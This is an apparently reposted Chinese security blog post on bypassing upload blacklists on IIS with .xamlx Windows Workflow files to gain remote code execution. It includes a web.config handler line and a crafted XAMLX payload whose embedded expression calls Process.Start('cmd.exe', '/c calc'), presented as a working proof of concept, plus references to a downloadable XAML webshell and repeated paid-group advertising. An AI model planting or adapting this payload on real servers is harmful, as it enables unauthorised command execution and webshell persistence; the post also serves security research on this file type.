0x01 xamlx介绍
XAMLX 文件是一种特殊的文件类型,主要用于定义 Windows Workflow Services工作流服务中的工作流程,下面是一个简单的xamlx文件结构
<WorkflowService ConfigurationName="Service1" Name="Service1"
xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" >
<TransactedReceiveScope>
<SendReply.Request>
<Receive OperationName="SubmitPurchasingProposal" Action="testme" />
</SendReply.Request>
</TransactedReceiveScope>
</WorkflowService>
通过<WorkflowService>定义文件的根元素,其中包含了一些命名空间的声明和配置信息。<SendReply.Request>和<Receive>用于工作流服务中的双向操作,使用请求和应答的模式,其中Action表示接受来自HTTP请求头SOAPAction定义的方法,这里是testme
0x02 运行配置
通过web.config添加配置HTTP请求.xamlx时对应的执行模块
<add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="%windir%Microsoft.NETFramework64v4.0.30319aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
在IIS里打开 http://localhost:56601/upload.xamlx 显示如下图所示,表示运行环境配置成功
0x03 编码实战
获取更多.NET相关的技术、工具可以考虑进一下星球,限时争取到了优惠券,马上失效了,名额不多,可以进来看看,物超所值!!最后一天时间!!!
创建 XAMLX 文件来启动本地计算器,该文件使用XAML格式,内部使用<SendMessageContent>标签允许执行.NET代码。
<p:Sequence DisplayName="Sequential Service">
<TransactedReceiveScope Request="{x:Reference __r0}">
<p1:Sequence >
<SendReply DisplayName="SendResponse" >
<SendReply.Request>
<Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" />
</SendReply.Request>
<SendMessageContent>
<p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]
</p1:InArgument>
</SendMessageContent>
</SendReply>
</p1:Sequence>
</TransactedReceiveScope>
</p:Sequence>
工具和xaml webshell已打包,感兴趣的师傅可下载自行研究测试。
欢迎加入星球
不仅限于工具分享,还有一些高频率的漏洞poc
涵盖了27个专栏,需要啥就找啥,准没错
限时福利,名额有限!最后一天时间辣!!!!
原文始发于微信公众号(哈拉少安全小队):黑名单上传.xamlx文件实现RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论